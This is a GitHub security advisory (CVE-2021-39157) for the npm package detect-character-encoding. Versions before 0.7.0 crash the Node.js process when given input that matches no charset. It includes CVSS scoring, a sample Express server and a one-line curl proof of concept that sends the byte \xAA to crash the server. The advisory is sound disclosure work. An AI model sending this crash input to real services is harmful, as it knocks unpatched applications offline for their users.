Improper Handling of Exceptional Conditions in detect-character-encoding

High **sonicdoe** published **GHSA-jqfh-8hw5-fqjr** on Aug 24, 2021

Package

detect-character-encoding (npm)

Affected versions	Patched versions
< 0.7.0	0.7.0

Description

Impact

In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.

Patches

The problem has been patched in detect-character-encoding v0.7.0.

CVSS score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C

Base Score: 7.5 (High)
Temporal Score: 7.2 (High)

Since detect-character-encoding is a library, the scoring is based on the "reasonable worst-case implementation scenario", namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability's severity in your program may be different.

Proof of concept

```
const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");

const app = express();

app.use(bodyParser.raw());

app.post("/", (req, res) => {
  const charsetMatch = detectCharacterEncoding(req.body);

  res.end(charsetMatch.encoding);
});

app.listen(3000);
```

`printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000` crashes the server.

References

- `992a110`
- #15

Severity

High 7.5 / 10

CVSS base metrics	
Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2021-39157

Weaknesses

CWE-755